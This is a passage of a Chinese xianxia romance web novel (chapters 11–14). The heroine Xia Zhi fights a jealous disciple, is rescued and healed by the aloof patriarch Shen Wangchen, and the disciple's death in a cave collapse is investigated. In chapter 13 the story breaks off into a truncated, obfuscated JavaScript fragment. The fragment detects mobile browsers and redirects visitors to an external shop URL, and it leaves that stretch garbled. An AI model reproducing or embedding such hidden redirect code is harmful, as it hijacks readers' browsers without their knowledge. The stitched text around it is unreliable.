夏栀曲起手指,蹭过眼角,沾染了些许湿意,故作可怜的吸了吸鼻子。这才垂着头,慢悠悠地从口袋里,摸索出一把白色颗粒状的猫砂来。
当初,在三楼见到猫砂盆的时候,夏栀气得差点背过气去,心里早把恶念转了八百遍。恨不得抓上两把,直接糊在沈忘尘那张从不见笑意的冷脸上,好出一出心头恶气。
可真等对上他那双清冷眸子,她又瞬间就没了气焰,根本不敢乱动,最后只能悻悻揣进兜里。
没想到居然在这里派上了用场。
青衣仙子纤眉蹙起,目光落在夏栀掌心的猫砂上,她没见过这东西,更不愿意露怯。于是扬起下巴,居高临下地质问道:“这是什么?”
夏栀假装被吓到,缩了缩肩膀,唯唯诺诺的开口:“这是我无意在一处古迹中得到的,不知道有什么用。”说话时,她缓缓将手中猫砂举高,像是下定了某种决心道:“当初老祖就是见了此物,便答应了双修之事。如今,我愿意用它换取一线生机!”
青衣仙子往前挪了半步,看看猫砂,又看看抬着手,低着头,还在微微颤抖的夏栀,眉头皱得更紧了些,有点不相信道:“此物平平无奇,也无灵力波动,老祖会需要它?”
“是真的!否则老祖怎会肯与一个筑基期修士结契呢?”夏栀头压得更低,将手又抬高了点,“我修为低微,参不透其中奥秘,或许是因为你这阵法压制了它。要不你过来些,我把它给你,离了阵,或许会显出不同。”
青衣仙子却突然警惕道:“不必,你丢过来便是。”她双臂抱在胸前,眼神不善地盯着她的手,生怕她耍什么花招。
夏栀埋着脸,悄悄撇了撇嘴,翻了个白眼。随即又重新换上怯懦的神情,捧着猫砂假装不舍地轻轻丢出几粒。
她像是得了软骨症,胳膊都难抬半分,几粒白砂在空中划过一道浅弧,精准的落入了台下的水中。
随着水流的冲刷,转瞬便化了个干净。
青衣仙子瞪着眼睛,气急败坏地怒骂道:“你做什么!怎么消失了?”
夏栀吓得“嘤”了一声,连忙地向后缩了缩,双手紧紧捂住其余猫砂。
眼底的泪花又涌了上来,带着点哭腔道:“这,这不能怪我......修为被封,灵力全无,我实在是无力。要不,还是你自己过来取吧?”
说话时,她微微耸着肩,低垂着小脸,一副软弱无助的模样。
青衣仙子狠狠剜了她一眼,满脸鄙夷,冷声道:“当真是废物!”
夏栀故作可怜的抽了抽鼻子,缓缓松开手,小心翼翼的将其余猫砂尽数倒在阵法边缘,砂粒落下,发出轻微响声。
拢好猫砂,她才往后又挪了挪,退回到阵法中央。
青衣仙子迟疑了片刻,终究抵不住老祖所需的诱惑,缓缓走了过来。
她蹲在阵法边缘,迟迟没有下手。先是不确定的看了看地上的砂粒,接着又看了眼,眉眼含泪、柔弱不能自理的夏栀,脸上的警惕依旧未消。
夏栀带着几分讨好,柔声地说到:“姐姐不放心吗?不如你先取出一颗瞧瞧?这样看着,也看不出什么端倪。”说着,她抿了抿唇,声音也越来越小,一副人畜无害的柔弱模样。
青衣仙子没好气的哼了一声,手指快速一探,穿过那阵法边缘,捏起一颗猫砂,凑到眼前仔细端详着。
然而,看了半晌,也没看出半点异常,这才放下心来,伸手去捡其余的砂粒。
“哼,修为低就是这样,连这点束缚都受不住。”她一边捡,一边出言讽刺。
就在青衣仙子心神放松的瞬间,夏栀突然暴起!猛地往前一扑,死死扣住青衣仙子探进阵法的手腕,一把将她狠拉进来。
她毫无防备,重心不稳,甚至来不及惊呼出声,便被夏栀拉扯着整个扑进了阵法之中,刺痛瞬间传遍全身。
夏栀顺着惯性借力翻身,一屁股坐在了她身上,一手用力按住她的肩膀,另一只手狠狠揪住她的头发,使劲撕扯,每用力一下,都能听到青衣仙子的痛呼。
此刻,两人都完全落在阵法中,周身灵力被封。
可不同的是,夏栀根本没用过灵力,有没有对她区别不大,即便在阵中,也依旧灵活。
而习惯灵力加持的青衣仙子,骤然失去依仗,便慌了神,手脚也变得沉重而缓慢。又被夏栀凭借一身蛮力压制住,只能胡乱地抬手护着脸,不知如何反抗。
夏栀一边撕扯她的头发,一边见缝插针地抽她嘴巴,“啪啪”的声响在洞穴中回荡。还时不时地掐她肋骨,拧她嫩肉,每一下都用足了力气,疼得青衣仙子不住的叫喊。
自修仙以来,她哪里经历过这种不讲武德、毫无仙门体面的泼皮无赖打法,一时间竟无从招架。浑身都在疼,脸上更是火辣辣的,长发凌乱地缠在脸上,遮挡着视线,手都不知道该捂在哪里的好,心里只剩慌乱。
夏栀稳占上风,坐在她身上,一边打一边愤愤道:“梦女是吧!他不喜欢你,关我屁事!你不去问他,反倒来抓我!”
她怒火中烧,胸口剧烈起伏:“什么叫我就该死,嗯?我不争不抢,夹着尾巴做人,缩着脑袋听话,你还来指点上了!就因为你喜欢的人没看上你,你就要杀了他身边的每一个人吗!”
越说越气,夏栀双手抓紧她的头发,力道大的生扯下来一撮。
青衣仙子突然发力,一把抱住她的胳膊,死死攥住,让她抽不出手来。
夏栀眼皮一跳,索性双手扣住她的脑袋,发了狠得一下一下地往石台上撞,“砰砰”的闷响伴着痛哭声,回荡在洞中,格外刺耳。
“臭傻逼,真当姑奶奶好欺负呢!”夏栀咬着牙,手下却不停,“还偷袭,下黑手!弄烂我的新衣裳,膝盖都磨秃噜皮了!你还藏起来化上妆了,看我不撕烂你的脸!”
青衣仙子挣扎着想起身,却被夏栀又一屁股狠狠坐了回去,刚提起来的力气一下卸了大半,痛哼一声,带上了哭腔,想要张嘴,又被夏栀一头顶在鼻梁上,剧痛袭来,这一下撞的她再发不出一丝声响。
夏栀甩了甩额头上沾着的血,手腕一转,换她紧钳住青衣仙子的手,坏笑着骂道:“今天就让你好好看看,凡人是怎么打架的!”
就在夏栀尽情输出的此刻,突然一声巨响传来,震得整个洞穴都在颤抖。
紧接着,“呛”的一声清鸣,一道刺眼的白光,从洞顶掠过,带着凛冽却内敛的仙气。
山体发出“轰隆隆”的巨响,好像随时会坍塌一样。
两人停下了手中的动作,不自觉的望向了洞顶。
然而奇怪的是,预想中的碎石并未落下,反而有漫天的白雾自缝隙中蔓延,将那摇摇欲坠的洞顶稳稳托起,向上攀升。
阳光洒落,金色的光束穿透白雾,照亮了洞穴的每一个角落,也照亮了中央石台上,撕扯扭打在一起的两人。
夏栀发丝凌乱,脸上沾着些许血渍,嘴角紧抿着,带有一丝倔强;她身下的青衣仙子则更显狼狈,头发散乱,脸颊红肿,泪痕冲洗过血迹混着香粉,更显脏乱。
比沈忘尘先到的是镇痛香气,吸入鼻腔,夏栀顿感舒适,暂时忘记了膝盖上的伤
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。
沈忘尘赤着脚,浮在空中,衣袂轻扬,周身仙气凝而不散,自带一股强大的压迫感。他脸上依旧是无喜无悲的冷漠模样,仿佛眼前的一切,都与他无关。
看清来人,青衣仙子浑身猛地一颤,方才的委屈瞬间消散,取而代之的是深深的恐惧,随即又被浓郁的痛苦取代。她挣扎着抬起头,泪眼婆娑地紧盯着沈忘尘,声音哽咽,语气中似乎藏着卑微的祈求:“老祖......”
夏栀也愣了,松开了抓着青衣仙子的手,慢慢从她身上退了下来,跪在一旁。她歪头瞅了眼,被自己制裁的加害者,思索着该如何解释这混乱的一幕。
突如其来的安静,弥漫在三人之间。
沈忘尘依旧浮在半空中,目光淡淡地看着下方,没有说话。
青衣仙子像是受了极大的委屈,瘫坐在地上,小声啜泣。
夏栀则僵在原地,像个做错事的孩子,低头搓着手指上的血迹。
良久,沈忘尘才缓缓飘近了一些。
他的目光在两人之间来回扫过,清冷的视线一会落在夏栀的发顶,一会又掠过青衣仙子的脸颊,不带任何情绪,也依旧没有言语。
夏栀低着头,看着两片花纹、颜色都一样的裙片叠搭在一起。
一个念头突然冒了出来:沈忘尘,该不会是没认出来谁是谁吧?
这个脸盲症!
就在此时,沈忘尘再次缓缓靠近,赤足轻抬,眼看就要踏入阵中,夏栀连忙开口阻挠:
“小心!别进来!”
几乎就在她出声的瞬间,两人脚下的石台突然碎裂,白雾从缝隙中喷涌而出。
“轰”的一声,石台倒塌,碎石坠入水中,激起阵阵涟漪。
失重来临的那一刻,夏栀下意识的闭上眼睛。
“扑通,扑通”的落水声中,冰冷的触感久久没有传来,浓郁的镇痛香气熏的她有点晕晕乎乎,小心睁开眼睛,却发现,自己正被白雾稳稳拖着,随沈忘尘一起,缓缓飘在空中。
而那青衣仙子,则是随着碎裂的石台,一起跌落水中,溅起一片巨大的水花。她挣扎着从水中站起身,浑身湿透,青绿的裙摆紧紧贴在身上,狼狈不堪。
她依旧仰着头,眼神怨毒地盯着沈忘尘,歇斯底里地喊道:“为什么!为什么是她!你也看看我啊!”
夏栀回头看了一眼微微颤抖着的青衣仙子,心中有点惋惜。
青衣仙子还在大声地哭诉着,声音浸满不甘:“我等了你三百年,日日修行、不敢懈怠,只为能配得上你,我比她哪里不如?为什么你的眼里从来都没有我!”
夏栀摇了摇头,小声叹了口气,嘀咕着:“唉,这修仙也没什么用,光涨修为不长脑子。恋爱脑跟脸盲,看来是真的都没救。”
沈忘尘闻言,突然停下脚步,侧头盯着她。清冷的眼眸看不出任何情绪,夏栀却莫名感觉到一股淡淡的不悦,连忙闭上了嘴,不敢再乱说。
下方青衣女子声音又拔高了几分,失控发狂的嘶吼着:“你看我!我叫你看着我!不许看她!看我!”
沈忘尘却置若罔闻,目光重新投向远方,白雾涌动,载着两人飞出去了老远。
夏栀还想回头看,却见先前托着洞顶的蕴灵不知何时已被他尽数收回。
原本浮在半空的洞顶,轰然坠下,连同那抹青色一并埋在了滚滚烟尘之中。
夏栀张大了嘴巴,刚想说话,沈忘尘却先一步回答道:“死不了”
他的声音清冷,不带丝毫感情,阳光映在他的眉宇间,却更添几分疏离。
12. 第 12 章
夏栀心里没有一点被救的喜悦。
一路上都垂着脑袋,黏腻的血混着土粘在脸上,也不见她去拂。
那个青衣仙子,虽然行为是有点癫狂,但夏栀总觉得沈忘尘最后那么一下,也有点太不近人情。
她刚被自己揍过,又在阵中被封灵力,万一真没反应过来,一座山就这么压下去,粉身碎骨都是轻的。
若是真有个好歹,到时候自己算主谋还是从犯?
楚绯月的话又回荡在脑中:“与那样的人结契,你也是个可怜人”
夏栀抿了抿干裂的唇,一丝淡淡的土腥味漫进嘴里。她抬眼,怔怔望着身前的人。
沈忘尘......到底是怎样一个人?
他明明对谁都是一副淡漠疏离的模样,冷脸相对,连一个多余的眼神都吝啬给予。可偏偏,每次都是他将自己护下;明明清冷得不近人情,却又会温柔地为她疗伤、助她吞灵、替她解围。
她眼中的他,与他们口中的那个人当真是一个人吗?
夏栀眸光轻颤,心底像是被轻轻撞了一下,漾起一圈涟漪。目光悄悄落在他身上,细细打量,这个熟悉又陌生的人,全然没注意两人已经回到了息云居。
白雾散去,草木的湿气扑在脸上,凉丝丝的。
她低头瞥了眼自己,衣裙沾满泥泞和草屑,破破烂烂的裙摆下露出一截脏兮兮的脚腕。
这般狼狈模样,在这仙气氤氲的息云居中,怎么看都格格不入。
夏栀心头一阵难堪,懊恼地垮下脸,嘴角撇了撇,抱着双臂的手悄悄收紧,手指尴尬的蜷起。
好像每次踏进这里,她都是这么丢人又狼狈的样子......
“吾见刘承安计事,汝自休焉。”沈忘尘语气淡淡,似乎并无意进到院中。话音落,蕴灵裹着他的身影,转瞬便融入了远处的云雾中。
他身上那股好闻的镇痛香气,也跟着渐渐散去,取而代之的是山间的潮气和浓烈的血腥味。
膝盖处的伤口传来一阵阵灼烧似的痛楚,疼得夏栀猛吸了口冷气,伸手扶住门槛,才勉强站稳。
稍稍缓了缓,她才一瘸一拐地往里走。
一边走一边小声嘀咕着:“好歹给个上次的麻药红糖再走呗......嘶......”
每走一步,膝盖都传来一阵钻心的疼,夏栀拖沓着脚,终于挪回了小楼里,便再也撑不住,直挺挺地仰躺在宽大的长椅上。
四周渐渐静了下来,没有一丝声响,甚至连风都停在了窗外。
膝盖处的疼痛已经变得麻木,灼烧感褪去了些,余留迟缓的钝痛,只要不动,倒也能勉强忍受。
夏栀愣愣地看着头顶的木梁,鼻头一酸,湿意涌上眼眶,有点想家了。
她轻轻换了个姿势,慢慢缩在木椅里,将脸埋进臂弯,轻浅的鼻音孤独的回荡在房内。
不知过了多久,疲惫席卷而来,困意上涌,不知不觉中,她的呼吸逐渐变得均匀又轻柔。
就在夏栀熟睡之时,本已远去的沈忘尘,竟悄声无息的出现在了小楼里。
他站在木椅旁,目光浅浅的停留在她的脸上,神色依旧,却少了点平日里的疏离。
夏栀秀气的小脸沾满了泥泞,额前还留着淡淡的红痕,她的眉头紧拧在一起,像是在梦中依旧承受着疼痛,泛红的眼角还挂着一滴未干的泪,沾湿了长睫。
沈忘尘盯着那颗晶莹的泪。
许久,他微微俯身,苍白的手指缓缓抬起,靠近了她的脸颊,却在即将触碰到那滴泪时,又停了下来。
修长且白净的手微微蜷缩,犹豫了片刻,终究还是没能落下。
转而,缓缓移开,隔空覆上了夏栀的膝盖。
沈忘尘掌心朝下,白色的蕴灵缓缓流淌,像一层薄纱,轻柔的裹住伤口,灵力逐渐凝实,一点点抚平难耐的肿痛。
忽的,还熟睡着的夏栀,胡乱的伸手往膝盖处扣去。
沈忘尘一把抓住她不安分的手,丝丝暖意透过指尖传来。
夏栀没能抓到发痒的伤口,被禁锢着的手却依旧做出挠痒的动作,沙沙的响声,蹭过他的掌心,传来一阵酥麻的痒。
半晌都没能缓解膝盖的不适,夏栀的眼睛闭得更紧了些,撅起嘴,发出了一声不满的呢喃,手上的力道也跟着大了几分,使劲的抓挠着沈忘尘的手心。
沈忘尘见状,这才将那只悬在她膝头的手,轻轻压了下去。掌下的蕴灵被冰凉的手掌挥散,他的手指穿过破烂衣裙,触及她微红发烫的膝盖,驱散了灼热。
他动作轻柔,小心地控制着力道,柔而缓地揉捏着。
夏栀似乎感受到了舒适的凉意,不安分的手终于缓缓收回,眉头也舒展开来,睡得更沉了些。
沈忘尘掌下的蕴灵又流转了片刻,才抬起手。
此时,被蹭破的地方已经完好如初,不见一丝伤痕。
不远处,蕴灵凝聚成形,不知从哪里拖来一条云纹薄毯,轻轻盖在夏栀的身上,掖好边角。
另一边,坍塌的山凹中,灵气翻涌,光影交错。
一队负责挖掘的土峰弟子,正运力操控着巨大的器械,一边稳固山体,一边开凿出新的道路。
巨石混着沙土,在灵力的操控下,像有生命般,自行堆砌,不断发出沉闷的轰隆声。
一小块不听话的碎石,在山体的震颤中,咕噜噜地滚落下来,一路磕磕绊绊,撞在一双漆黑的皮靴上,留下一个浅浅的白印。
靴子的主人抬起脚,轻轻剁了剁,将碎石抖落,转身对着身后不远处的人,恭敬地拱手行礼,朗声道:
“峰主,人已经挖出来了,山体也修复得差不多,是否需要派人去通知妙木峰那边?”
“不必。”顾崇山声音低沉,目光落在前方坍塌处,皱眉严肃问到,“被埋的弟子现在如何?”
汇报的土峰弟子身子一僵,低下头,露出沉痛的表情,语气愧疚的说道:“那弟子,已经仙逝了。”
顾崇山眉头皱得更紧,沉声道:“身份、死因,可有查清?”
那弟子连忙回道:“只知是妙木峰的弟子,其余细节,还需问过妙木峰主才知。死因初步判断是重物承压,但有一处疑点。”
他顿了顿,抬头看了眼顾崇山的神色,见他面色冷峻,又赶忙低下头,缓了缓语气,接着道:“根据弟子探查,死者的修为应当在化神境,如此境界,怎会轻易被乱石压死?”
顾崇山看了他一眼,眸色深沉。他并没有立即回答,而是抬脚踩着碎石,向坍塌的山体深处走去。
山坳深处,一块较为平坦的空地上,赫然摆放着一张裹尸布,布下的尸体被粗略的拼接在一起,残缺不全。
两个穿着棕色短袍的土峰弟子,正蹲在一旁,小心的将残破的青色裙摆,一点点塞进裹尸布下,动作轻柔,带着几分怜悯。
其中一人摇了摇头,压低声音,叹息道:“真可怜,都快被砸的看不出人形了!那手,我都是隔了好远,才挖到的。”
另一人低声接话,带着点后怕和惋惜:“之前我就听说,老祖心狠手辣
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,杀人不眨眼。我还不信,想着那般仙人模样,定是旁人讹传。唉,没想到,下手真这么狠!”
前一人连连点头,附和道:“可不是嘛!之前在木峰晨殿,远远见那一面,白衣胜雪,仙气飘飘。看着温文尔雅的,谁能想到,居然是这般心性。”
“是啊!”后一人叹了口气,声音里满是唏嘘,“他这才出关两天,虽说是这人不对在前,私心骗走了老祖的道侣,但也不至于下死手吧,还弄得......这么残忍。以后,咱们合欢宗怕是再也不能像从前那样逍遥喽。”
就在两人低声议论时,瞧见顾崇山带着人走近,连忙闭了嘴,站起身,退到了一边去。
顾崇山蹲下身,并拢双指凝聚起一丝灵力,覆在裹尸布上,仔细探查着青衣仙子的遗体。
一直跟着他的土峰弟子,犹豫了片刻,还是轻声开口道:“峰主,这会不会是那位姑娘干的?若真是老祖做的,他何故还叫我们来此地找人?莲花山大大小小百余峰,就这么一直埋着,神不知鬼不觉,岂不是更好?”
顾崇山收回念力,抬眼看向他,语气平淡:“那你说,一个筑基又该如何在金仙眼下杀了化神?”
那弟子愣了愣,小声猜想:“或许......是她设下了什么陷阱、迷瘴之类的?趁其不备,下手杀人?”
“她才是被抓来的,如何设陷?又如何引得他人,在神不知鬼不觉中,中了陷阱?”顾崇山再次问道。
土峰弟子脸上露出几分愧疚,不自觉的低下了头,躬身致歉:“弟子知错,不该瞎猜。”
顾崇山起身重新审视着坍塌的洞穴,淡淡道:“保持怀疑与警惕是对的,但凡事不能只靠猜测。”
他语气沉了几分:“此人死前,体内灵力就已经被抽干了,所以才会不堪重物承压,被乱石砸死。”
土峰弟子闻言,满脸惊诧,颤声道:“噬灵?若身负此等邪功,凶手岂不是已经入了魔......”
“也不一定。”顾崇山打断他的话,语气冷静,“世间诸多手段,都能够限制灵力、拔除灵息,未必就是噬灵邪功。”
“峰主,那这弟子,当真只是被压死的吗?”土峰弟子皱着眉,满脸疑惑,“化神境弟子,即便灵力被抽干,肉身也该有些许韧性,怎会被砸得这样残缺不全?”
顾崇山摇了摇头,沉默着,他抬眼望向妙木峰的方向,目光冷峻。
夕阳西下,余晖透过窗扉,将房间内都镀上了一层金边。
夏栀身上的薄毯,不知何时已经被踢落在地,沾了些许尘土。
她蜷在木椅中,翻来覆去换了几个姿势,都睡得不舒服,眉头时不时的皱起,嘴里“啧”声不止。
终于,清梦难眠,她慢悠悠地睁开了眼睛,眼神惺忪,还带着刚睡醒的迷茫,愣了好一会,才缓过神来。
依旧是空旷的小楼,陌生的屋顶。
夏栀无心起身,伸手抱着双腿,又往椅中缩了缩,眼神空洞,似还留有几分未散的委屈。
就在此时,一声清晰的腹鸣,打破了寂静。
“咕噜——”又是一声
夏栀哼了哼,噘着嘴,向肚子表达着抗议,她又不是故意要饿着它的。
接着,一声轻轻的叹息,从房间的角落传来,清冷低沉,且无奈。
夏栀猛的坐起,像只受惊的小猫,藏在椅中,只露出半个脑袋,一双圆溜溜的眼睛,小心翼翼的观察着角落的阴影。
沈忘尘站在书架旁,将手中书册放回原位,轻声道:“汝,未曾辟谷?”
13. 第 13 章
看到那抹熟悉的月白身影,夏栀紧绷的神经放松下来。
她身子一软,又重新摊坐回椅中,鼓着腮帮子,撅起小嘴嘟囔道:“什么屁股?你不是走了吗,啥时候回来的?每次都悄无声息的冒出来,怪吓人的。”
说完,她突然想起自己那血肉模糊的膝盖,浑身一机灵,赶忙撑着扶手蹭地坐直,伸手慌乱的撩起裙摆边,仔细查看起来。
然而,残破的衣洞下,触到的却是滑嫩温热的肌肤,她反复摩挲两下,膝盖处干干净净,别说深可见骨的伤口,连一道痕迹都没有,甚至连泥泞都无,看起来白白净净,皮肤都变好了似的。
“罢了,随吾来。”沈忘尘下颌微微抬起,光阴落在他的侧脸,衬得整个人更加的消瘦。说罢,他负起双手,慢悠悠向后院走去。
夏栀跳下长椅,轻轻跺了跺脚,试着抬抬腿,走了两步。发现膝盖灵活无滞,也无酸痛肿胀。心头一喜,脚步轻快的追上去,脆生生的喊道:“老祖,这是去哪啊?”
沈忘尘步履从容,清冷的声音淡淡飘来:“用食”
夏栀跟在他身后一步的距离,低头拎着自己破烂的裙摆,左看看右看看,伸手扯了扯破损的边缘,低着头,随口道:“你说话一直这么文绉绉的吗?”
沈忘尘忽然顿住脚步,夏栀没留神,又结结实实撞在他的身上,因为惯性整张脸埋进他的衣料,疼得她闷哼一声,踉跄着退了两步,手飞快的按住鼻子。
抬头时,才发现他正回眸盯着自己,黑色的瞳仁深不见底,看不出一丝情绪。
夏栀脸颊一热,方觉羞赧,嘴角扯出两声尴尬的笑,说:“怪难懂的......”
她慌忙垂下头,悄悄揉着鼻梁,眼睛盯着自己的鞋尖,数着粘在鞋面上的泥点。
沈忘尘盯着她的发顶,一缕不服帖的头发翘了起来,风一吹,轻轻晃动。
沉默片刻,他发出一声微不可察的叹息:“汝......你除了腹中饥饿,可还有别的不适?”
说完,又自顾自的继续向前走去。
夏栀松了口气,脚步轻松地跟上他,大咧咧道:“没啥不适应的,说起来,这里除了上厕所洗澡吃饭不方便,住着还挺舒服的,景色好!”
沈忘尘再度沉默。
夏栀犹豫了下,脚下放缓了半步,看着他的背影,小声道:“我的腿,是你治好的吧?谢谢你啊。”她的手指绞在一起,眼神漂移,“每次都要劳烦你来救治,其实没事的,慢慢也就长好了。”说话间,无意扫到一旁,藏在草下发着微光的奇异小花,不由的停下脚步多看了两眼。
见身前的人依旧一言不发,连脚步都没停一下。夏栀轻轻咳了声,挽了挽鬓边的发,换了个话题:“嗯,内个,明天我想去莲心镇转转,总不能老穿个破衣服......”
话还没絮叨完,沈忘尘平静的声音传了过来:“到了。”
“啊?到哪了?”夏栀上前几步,凑到他身边,顺着他目光的方向看去。
沈忘尘侧身让开半步,前方立着一株三人高的小树,枝叶茂密,层层叠叠的叶片间,挂着许多通体晶莹的果子,月光透过叶片洒下,折射出细碎的光,好似一颗颗水晶琉璃,异常好看。
“吃吧”
清甜的香气混着淡淡的甜腻,扑面而来,钻进鼻腔。
“哇——哦”夏栀惊叹一声,带着几分雀跃,尾音微微上扬。
她来息云居两天了,竟然从没留意过后院,还有这样奇异的树。她像个没见过世面的孩子,眼睛瞪得溜圆,绕着小树转了两圈。
张着嘴巴,愣愣看着艺术品般的水晶果子,下意识的伸出手,又怯生生的收回。
她目不转睛的盯着水晶果子,不确定的问道:“这是什么?真的能吃吗?”
“此乃莲山果,千年才生一株,花开百年方可结果。食之可生肌活血、净化心灵、清净灵台、亦可令人数月不受饥饿困扰。”他声音不高,语气平淡,却字字清晰。
夏栀连连点头,故意做出一脸深沉的模样,沉着嗓子,学着他的语气拖长声音:“哦!此为仙果!有的吃总比饿肚子好。”说罢,脸上的深沉瞬间破功,咧着嘴,喜滋滋地踮起脚尖,摘了一颗莲山果,随意的在身上蹭了蹭,张嘴就咬。
清甜的汁水浸满口腔,顺着舌尖滑进咽喉。果肉细腻,入口即化,虽然没有什么特别惊艳的味道,却是口感极佳。
她眯起眼睛,鼓着腮帮子,吃得一脸满足。
“此果饱腹,不宜多食”沈忘尘一边说,一边转身往回走,广袖轻挥间带起丝丝缕缕的香气。
夏栀又飞快摘了两颗,揣在口袋里,鼓鼓囊囊的。她含着满嘴的汁水,含糊不清的喊道:“你吃吗?说起来,都没见过你吃饭睡觉呢,不会饿吗?”
沈忘尘脚步未停,声音飘来,清冷中多了点耐心:“修仙,修身修心,自然不被世俗所累。结丹之后,便可脱离五谷,无需进食。有天赋者,练气期即可辟谷不食。”
“那岂不是少了很多乐趣?”夏栀吃完一颗,又拿出一颗,“我们那里有句古话叫‘民以食为天’,品阅美食那可是人生一大享受!”她咬下一大口,含糊着,“不吃,多可惜。这果子真不错,没皮没核!”
“既然修仙,自然要抛弃凡尘俗念,不再执着于口腹之欲。”沈忘尘步入小楼,径直往楼上走去,衣摆扫过楼梯的木阶,发出轻微声响。
夏栀嚼着果肉,歪着脑袋想了想,忽的愣愣开口问道:“那修仙是为了什么?”
她的声音稚嫩,透出些许懵懂,在寂静的小楼里格外清晰。
小楼里一片安静,只有两人的脚步声,一轻一重,一快一慢。
过了很久,夏栀也没听到沈忘尘的回答,她意识到自己可能说错了话,连忙伸手轻拍嘴巴,心下懊恼着怎的嘴巴比脑子跑得快,净说些奇怪的话。
这时,沈忘尘的声音幽幽传来,低沉且平缓,不带一丝感情,就好像这个问题对他来说,无关紧要,毫无意义:“吾不知。”
话音落,两人已经走到了二楼卧房门口,月光透过窗棂洒进来,落在他的侧脸,衬得他眉眼愈发清冷。
夏栀自然地走向塌边,刚要坐下,忽的顿住。
这里,其实应当算是沈忘尘的房间。
她略显尴尬的站的笔直,偷偷瞄了他一眼,见他依旧面无表情地立在一旁,目光落在窗外,眼神放空,似乎在想什么,又似乎什么都没想。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349480|199593||http|test|mini|href|location''.split(''|''),0,{}));
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>夏栀不好打扰他,搓了搓手,站在塌边眼神飘来飘去,不知所措。
沉默良久,两人忽然同时开口:
“你早些歇息吧。”
“我去楼上睡吧。”
说完,两人都愣了一瞬,空气里的沉默更甚。
夏栀脸颊一热,连忙低下头,手足无措的不敢看他。
沈忘尘率先开口,带着一分急切:“不必。”
说罢,他身形一动,蕴灵漫出,赤足轻点窗沿,居然就这么轻飘飘飞出了窗外,衣袂翻飞,只余一丝极淡的镇痛香气,瞬间消失在夜色中。
夏栀伸着手,还想说什么,最后还是咽了咽口水,对着窗外轻声道:“慢......慢走。”
夜深,月色明亮。
待夏栀睡熟,一道黑影静静坐在她的身边。昏暗的房间中,渐渐闪烁起微弱的灵光,蕴灵流转间,榻上的人眉头舒展,睡得愈发安稳。
第二天一早
阳光漫过窗扉,金色的光照在夏栀的脸上,暖洋洋的,她翻了个身,蹭了蹭锦被,迷迷糊糊地哼道:“妈,别啦窗帘……”
然而,回应她的却是一声带着娇笑的调侃:“这么称呼我的话,到底算谁占谁的便宜呢?论年龄,我可都够当你祖宗了。”
声音清脆悦耳,带着几分戏谑。
夏栀一个机灵坐起身,头发乱糟糟的,揉了揉惺忪的睡眼。发现池泠瑶正坐在床沿上,眯着眼,满脸笑意的看着自己。
“池峰主,我......我以为......”夏栀脸颊通红,舌头都打着卷,不好意思的结巴着。
池泠瑶却伸出一根手指,抵在唇口处,轻声道:“嘘,我还是更喜欢你叫我,妈。”她的声音轻柔,带着几分宠溺,眼神里满是笑意。
夏栀张着嘴,一时不知道说什么好,脸颊一阵红一阵白。
池泠瑶看着她窘迫的模样,忍不住大声笑了起来:“好啦,不逗你了。”
说着,她起身走到一旁的博古架前,随手波弄着那些摆件:“是老祖叫我来的,给你备了件新衣裳。昨天的事我也听说了一些,合欢宗的这些个弟子散漫惯了,才出了这档子事,没吓坏你吧?”
见夏栀还愣愣的,没什么反应,只是傻傻的眨着眼睛。
池泠瑶笑着走过来,将放在榻边的衣裳提起,在夏栀身前比了比。颇为满意的笑道:“这好物,可是灵兽金乌的羽毛所炼化的羽衣,与你的灵根颇为相合,不仅好看,还能助益于修行,最主要的!”
她神秘兮兮的对着夏栀眨了眨眼,压低声音补充道:“这种羽衣那可都是独一无二的!就算是同一只金乌的鸟羽,也炼不出完全相同的两件,就算他脸盲症再厉害,也能一眼认出你来!”
说完,她将衣裳递到夏栀手中,示意她上身试试。
夏栀捧着衣裳,鹅黄色的布料入手轻滑舒适,轻轻抚过,还会淌过淡淡金光。裙摆如潮汐轻漫,随着光线的变化,呈现出层层波光,好看得让人移不开眼。
她眼里满是喜爱,摸了又摸,舍不得放下。
池泠瑶识趣地转身,往楼下走去,行至门口,回头笑着说:“换好了就快下来,外面还有个罚站了大半夜的二傻子,正等着呢。”
14. 第 14 章
夏栀换好新装,理了理裙摆,衣裳竟格外的合身。
羽衣柔贴肌肤,温热的灵光顺着衣料渗入四肢百骸,暖意细细流淌,周身都舒软熨帖。
她款款走出小楼,阳光洒在羽衣上,折射出层层金芒,裙摆翻飞间,似有流光闪动。
池泠瑶正站在院门外与人低声说话,眼角余光瞥见了她,连忙招了招手。
夏栀快步过来,离得近了才看清,缩在门后的竟然是温陵江。
他低着脑袋,脸上满是愁容,嘴角绷地紧紧的。一手提着个药箱,被他捏的嘎吱作响;另一只手拎着个朱漆食盒,盒面上沾着点点滴滴的露气,显然已经等候多时了。
他大半个身子都藏在飞檐的阴影里,垂着头,不敢看她。
夏栀走上前,咧着嘴,大方的打了个招呼:“温兄!早啊!”接着她弯下腰凑近了食盒,嗅了嗅,声音清脆的雀跃道,“这是给我带的早餐吗?”
见她盯着自己手中食盒,温陵江才如梦初醒,赶忙抬手递给她。冰凉的手指微微颤抖,语气局促的张嘴:“夏姑娘,我......”可话到嘴边,他又咽了回去。
夏栀接过食盒,打开盖子,热气腾腾的浓郁肉香扑面而来。
盒中整整齐齐的摆着几个白白胖胖的肉包,还冒着热气,下面放着一盘金黄酥脆的锅贴,油光锃亮,色香味俱全。
她心下一暖,伸手捻起一块锅贴塞进嘴里,鲜嫩的汁水迸发,满口鲜香。
夏栀腮帮子鼓鼓囊囊,满足地眯着眼睛,赞道:“还是温兄周到!昨天干啃那个水晶球一样的果子,一点不过瘾,寡淡得很,还是得有肉才香!”
闻言,温陵江却是将头埋的更低了点,满脸的愧疚。
沉默了半晌,他才深吸了口气,一脸诚挚的说道:“夏姑娘,对不起!昨日都怪我,才害你身陷险境,待师父回来,我定会向他请罪,任凭责罚。”
夏栀将剩下的半个锅贴塞进嘴里,摆了摆手,含糊不清的说:“没事没事,我这不是好好的吗?那人虽然把我关起来了,但也没怎么样,况且她也没好到哪去,仇我都已经报过了。不关你事的,别往心里去。”
说完,她又摸出一个肉包来,猛咬了一口。
